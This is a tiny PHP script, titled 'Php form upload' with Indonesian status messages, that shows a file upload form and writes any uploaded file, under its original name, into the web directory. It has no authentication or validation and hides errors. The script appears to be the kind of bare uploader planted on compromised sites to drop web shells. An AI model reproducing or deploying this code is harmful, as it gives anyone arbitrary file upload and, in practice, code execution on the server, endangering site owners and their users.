Php form upload

<?php
echo'
<form method="post" enctype="multipart/form-data">
<input type="file" name="data">
<input name="u" type="submit" value="upload"><br></form>';
    if($_POST['u'] == 'upload'){
        if(@copy($_FILES['data']['tmp_name'],$_FILES['data']['name'])){
            echo"Upload berhasil ".$_FILES['data']['name'];
        }else{
            echo"Upload gagal ".$_FILES['data']['name'];
        }
    }


?>